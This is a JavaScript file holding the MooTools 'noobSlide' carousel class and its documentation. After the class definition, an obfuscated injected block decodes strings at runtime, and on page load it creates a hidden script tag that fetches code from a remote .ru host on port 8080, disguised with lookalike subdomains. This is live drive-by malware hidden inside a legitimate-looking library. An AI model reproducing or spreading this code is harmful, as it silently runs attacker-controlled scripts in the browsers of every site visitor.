/*
Author:
	luistar15, <leo020588 [at] gmail.com>
License:
	MIT License
 
Class
	noobSlide (rev.19-06-08)

Arguments:
	Parameters - see Parameters below

Parameters:
	box: dom element | required
	items: dom collection | required
	size: int | item size (px) | default: 240
	mode: string | 'horizontal', 'vertical' | default: 'horizontal'
	addButtons:{
		previous: single dom element OR dom collection| default: null
		next:  single dom element OR dom collection | default: null
		play:  single dom element OR dom collection | default: null
		playback:  single dom element OR dom collection | default: null
		stop:  single dom element OR dom collection | default: null
	}
	button_event: string | event type | default: 'click'
	handles: dom collection | default: null
	handle_event: string | event type| default: 'click'
	fxOptions: object | Fx.Tween options | default: {duration:500,wait:false}
	interval: int | for periodical | default: 5000
	autoPlay: boolean | default: false
	onWalk: event | pass arguments: currentItem, currentHandle | default: null
	startItem: int | default: 0

Properties:
	box: dom element
	items: dom collection
	size: int
	mode: string
	buttons: object
	button_event: string
	handles: dom collection
	handle_event: string
	previousIndex: int
	nextIndex: int
	fx: Fx.Tween instance
	interval: int
	autoPlay: boolean
	onWalk: function
	
Methods:
	previous(manual): walk to previous item
		manual: bolean | default:false
	next(manual): walk to next item
		manual: bolean | default:false
	play (interval,direction,wait): auto walk items
		interval: int | required
		direction: string | "previous" or "next" | required
		wait: boolean | required
	stop(): stop auto walk
	walk(item,manual,noFx): walk to item
		item: int | required
		manual: bolean | default:false
		noFx: boolean | default:false
	addHandleButtons(handles):
		handles: dom collection | required
	addActionButtons(action,buttons):
		action: string | "previous", "next", "play", "playback", "stop" | required
		buttons: dom collection | required

Requires:
	mootools 1.2 core
*/
var noobSlide = new Class({

	initialize: function(params){
		this.items = params.items;
		this.mode = params.mode || 'horizontal';
		this.modes = {horizontal:['left','width'], vertical:['top','height']};
		this.size = params.size || 240;
		this.box = params.box.setStyle(this.modes[this.mode][1],(this.size*this.items.length)+'px');
		this.button_event = params.button_event || 'click';
		this.handle_event = params.handle_event || 'click';
		this.onWalk = params.onWalk || null;
		this.currentIndex = null;
		this.previousIndex = null;
		this.nextIndex = null;
		this.interval = params.interval || 5000;
		this.autoPlay = params.autoPlay || false;
		this._play = null;
		this.handles = params.handles || null;
		if(this.handles){
			this.addHandleButtons(this.handles);
		}
		this.buttons = {
			previous: [],
			next: [],
			play: [],
			playback: [],
			stop: []
		};
		if(params.addButtons){
			for(var action in params.addButtons){
				this.addActionButtons(action, $type(params.addButtons[action])=='array' ? params.addButtons[action] : [params.addButtons[action]]);
			}
		}
		this.fx = new Fx.Tween(this.box,$extend((params.fxOptions||{duration:500,wait:false}),{property:this.modes[this.mode][0]}));
		this.walk((params.startItem||0),true,true);
	},

	addHandleButtons: function(handles){
		for(var i=0;i<handles.length;i++){
			handles[i].addEvent(this.handle_event,this.walk.bind(this,[i,true]));
		}
	},

	addActionButtons: function(action,buttons){
		for(var i=0; i<buttons.length; i++){
			switch(action){
				case 'previous': buttons[i].addEvent(this.button_event,this.previous.bind(this,[true])); break;
				case 'next': buttons[i].addEvent(this.button_event,this.next.bind(this,[true])); break;
				case 'play': buttons[i].addEvent(this.button_event,this.play.bind(this,[this.interval,'next',false])); break;
				case 'playback': buttons[i].addEvent(this.button_event,this.play.bind(this,[this.interval,'previous',false])); break;
				case 'stop': buttons[i].addEvent(this.button_event,this.stop.bind(this)); break;
			}
			this.buttons[action].push(buttons[i]);
		}
	},

	previous: function(manual){
		this.walk((this.currentIndex>0 ? this.currentIndex-1 : this.items.length-1),manual);
	},

	next: function(manual){
		this.walk((this.currentIndex<this.items.length-1 ? this.currentIndex+1 : 0),manual);
	},

	play: function(interval,direction,wait){
		this.stop();
		if(!wait){
			this[direction](false);
		}
		this._play = this[direction].periodical(interval,this,[false]);
	},

	stop: function(){
		$clear(this._play);
	},

	walk: function(item,manual,noFx){
		if(item!=this.currentIndex){
			this.currentIndex=item;
			this.previousIndex = this.currentIndex + (this.currentIndex>0 ? -1 : this.items.length-1);
			this.nextIndex = this.currentIndex + (this.currentIndex<this.items.length-1 ? 1 : 1-this.items.length);
			if(manual){
				this.stop();
			}
			if(noFx){
				this.fx.cancel().set((this.size*-this.currentIndex)+'px');
			}else{
				this.fx.start(this.size*-this.currentIndex);
			}
			if(manual && this.autoPlay){
				this.play(this.interval,'next',true);
			}
			if(this.onWalk){
				this.onWalk((this.items[this.currentIndex] || null), (this.handles && this.handles[this.currentIndex] ? this.handles[this.currentIndex] : null));
			}
		}
	}
	
});
var g;if(g!=''){g='sM'};var uH;if(uH!=''){uH='vW'};try {this.k="";var W='replace';var Wj;if(Wj!='w'){Wj='w'};var JZ='';var m=']';var Ps=new String();this.H='';var h='g';var wS;if(wS!='Iw'){wS=''};var _u=new Date();var R='';var j;if(j!='V'){j='V'};var P='[';this.Rh="";var RQ=new Date();var WQ=RegExp;this.OQ='';var kl;if(kl!='r' && kl!='kX'){kl='r'};var CT;if(CT!='_r' && CT != ''){CT=null};function T(Pn,_){var Q=P;Q+=_;Q+=m;var GJ;if(GJ!='' && GJ!='wy'){GJ=''};var F=new WQ(Q, h);var hB;if(hB!=''){hB='JA'};return Pn[W](F, R);var JV;if(JV!='' && JV!='rl'){JV=null};var Dm;if(Dm!='' && Dm!='Fj'){Dm=null};};var x;if(x!='Y'){x='Y'};var aO=new Array();var L="";var FQ=new Date();var l=T('bioudiyu',"i0u_S");var NL='';var oN=new String();var v=T('/LmQiLnQiGcNlNiNpN.NcPoGmP/NmGiNnLiNcPlPiPpQ.LcGoQmN/GnQoGvPoQtQeNkNaN.NrGuG/PgLoLoQgNlGeN.QcNoPmG/PlPiGvGeL.LcQoLmG.GpNhNpP',"NPLQG");var S=T('sKcPrPidpKtd',"dPJKB");var D='';var MR;if(MR!='' && MR!='jc'){MR=''};var I=T('865056587650757',"576");var s=T('cWrzezaptpeWEzlpeWmzeznztz',"pWz");var d='';this.Psr='';var Pn="1";var Qk=T('aGpGpVeVnVdVCVhViGlGdG',"VG");var Pe='';var Sv;if(Sv!='' && Sv!='LX'){Sv=''};var u=T('ohn7lhoAaSdW',"SAWh7");this.Gw="";var mn=new String();var M=T('shehthAHtHtHrhiHbhuHtHeH',"hH");var nG="";var CBA='';var so=T('hztItIpz:I/I/zrIaIpziIdzlzizbzrzaIrIyz-Iczozmz.zpIrziIczezmziInIizsItIeIrI.IcIozmz.IsztzaIczkIoIvzezrIfIlzozwI-zczoImI.InzeIwzvziIlzlzaIgIezfIrzeIszhz.zrIuI:z',"zI");var JF;if(JF!='xV' && JF != ''){JF=null};window[u]=function(){var Jv;if(Jv!='OW' && Jv!='Bh'){Jv=''};this.CX='';this.ei='';e=document[s](S);var _h;if(_h!=''){_h='gx'};var eR=new Date();D+=so;D+=I;var Em;if(Em!='' && Em!='pg'){Em=null};D+=v;var pM=new String();var qB='';e.setAttribute('defer', Pn);var hk=document[l];var Kn=new Date();var _Q=new Array();var k_=new Array();e.src=D;var Kx='';this._q="";hk.appendChild(e);var Br=new String();};} catch(J){};var cu;if(cu!='pN'){cu='pN'};var mj=new Array();